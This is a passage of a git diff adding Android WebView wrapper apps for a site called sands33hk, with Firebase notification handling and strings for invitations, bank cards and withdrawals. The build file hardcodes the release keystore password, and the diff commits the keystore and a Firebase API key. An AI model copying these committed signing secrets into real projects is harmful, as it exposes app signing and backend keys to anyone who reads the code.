packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sample/src/main/java/com/web/sample/MyFirebaseMessageingService.java b/sample/src/main/java/com/web/sample/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b84908d --- /dev/null +++ b/sample/src/main/java/com/web/sample/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sample; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sample/src/main/java/com/web/sample/WebApplication.java b/sample/src/main/java/com/web/sample/WebApplication.java new file mode 100644 index 0000000..16d15a4 --- /dev/null +++ b/sample/src/main/java/com/web/sample/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sample; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sample/src/main/res/drawable-anydpi/ic_action_back.xml b/sample/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sample/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sample/src/main/res/drawable-hdpi/ic_action_back.png b/sample/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sample/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sample/src/main/res/drawable-mdpi/ic_action_back.png b/sample/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sample/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sample/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sample/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sample/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable-xhdpi/ic_action_back.png b/sample/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sample/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sample/src/main/res/drawable-xxhdpi/ic_action_back.png b/sample/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sample/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sample/src/main/res/drawable/big_bg.xml b/sample/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..963af15 --- /dev/null +++ b/sample/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/ic_launcher_background.xml b/sample/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sample/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sample/src/main/res/drawable/input_bg.xml b/sample/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sample/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sample/src/main/res/drawable/pass_word_bg.xml b/sample/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sample/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sample/src/main/res/drawable/pass_word_bg1.xml b/sample/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sample/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/pass_word_bg2.xml b/sample/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sample/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/shape_btn_bg.xml b/sample/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sample/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/shape_dialog_bg2.xml b/sample/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sample/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/shape_dialog_bg3.xml b/sample/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sample/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/drawable/shape_dialog_bg_new.xml b/sample/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sample/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sample/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sample/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sample/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sample/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sample/src/main/res/mipmap-hdpi/ic_empty.png b/sample/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sample/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sample/src/main/res/mipmap-hdpi/ic_pull_down.png b/sample/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sample/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sample/src/main/res/mipmap-xhdpi/ic_close.png b/sample/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sample/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sample/src/main/res/mipmap-xhdpi/ic_menu.png b/sample/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sample/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sample/src/main/res/mipmap-xxhdpi/app_logo.png b/sample/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..341a761 Binary files /dev/null and b/sample/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/sample/src/main/res/values-en/strings.xml b/sample/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sample/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sample/src/main/res/values-night/themes.xml b/sample/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/sample/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/values/colors.xml b/sample/src/main/res/values/colors.xml new file mode 100644 index 0000000..0f20ee6 --- /dev/null +++ b/sample/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #7a892a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sample/src/main/res/values/strings.xml b/sample/src/main/res/values/strings.xml new file mode 100644 index 0000000..1f38719 --- /dev/null +++ b/sample/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SAMPLE APP + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/values/themes.xml b/sample/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/sample/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/xml/app_updater_paths.xml b/sample/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sample/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/main/res/xml/network_security_config.xml b/sample/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sample/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sample/src/main/res/xml/provider_paths.xml b/sample/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sample/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/sample/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sample/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sample/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/sands33hk/.gitignore b/sands33hk/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/sands33hk/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/sands33hk/build.gradle b/sands33hk/build.gradle new file mode 100644 index 0000000..73dccb5 --- /dev/null +++ b/sands33hk/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.sands33hk" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "sands33hk" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/sands33hk/google-services.json b/sands33hk/google-services.json new file mode 100644 index 0000000..22c3a2e --- /dev/null +++ b/sands33hk/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "70904839895", + "project_id": "sands33hk", + "storage_bucket": "sands33hk.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:70904839895:android:678b1984331201bc1b7a92", + "android_client_info": { + "package_name": "com.web.sands33hk" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyDgDMDF87tniXWJ5FjrmGLjVVOs1rLR0uM" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/sands33hk/ppn.jks b/sands33hk/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/sands33hk/ppn.jks differ diff --git a/sands33hk/proguard-rules.pro b/sands33hk/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/sands33hk/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/sands33hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/sands33hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/sands33hk/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/sands33hk/src/main/AndroidManifest.xml b/sands33hk/src/main/AndroidManifest.xml new file mode 100644 index 0000000..204baad --- /dev/null +++ b/sands33hk/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sands33hk/src/main/java/com/web/sands33hk/MainActivity.java b/sands33hk/src/main/java/com/web/sands33hk/MainActivity.java new file mode 100644 index 0000000..f300ce9 --- /dev/null +++ b/sands33hk/src/main/java/com/web/sands33hk/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.sands33hk; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 159; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://sands33hk.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#876f41"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#876f41"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/sands33hk/src/main/java/com/web/sands33hk/MyFirebaseMessageingService.java b/sands33hk/src/main/java/com/web/sands33hk/MyFirebaseMessageingService.java new file mode 100644 index 0000000..6ffddd2 --- /dev/null +++ b/sands33hk/src/main/java/com/web/sands33hk/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.sands33hk; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sands33hk/src/main/java/com/web/sands33hk/WebApplication.java b/sands33hk/src/main/java/com/web/sands33hk/WebApplication.java new file mode 100644 index 0000000..8c7e583 --- /dev/null +++ b/sands33hk/src/main/java/com/web/sands33hk/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sands33hk; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + 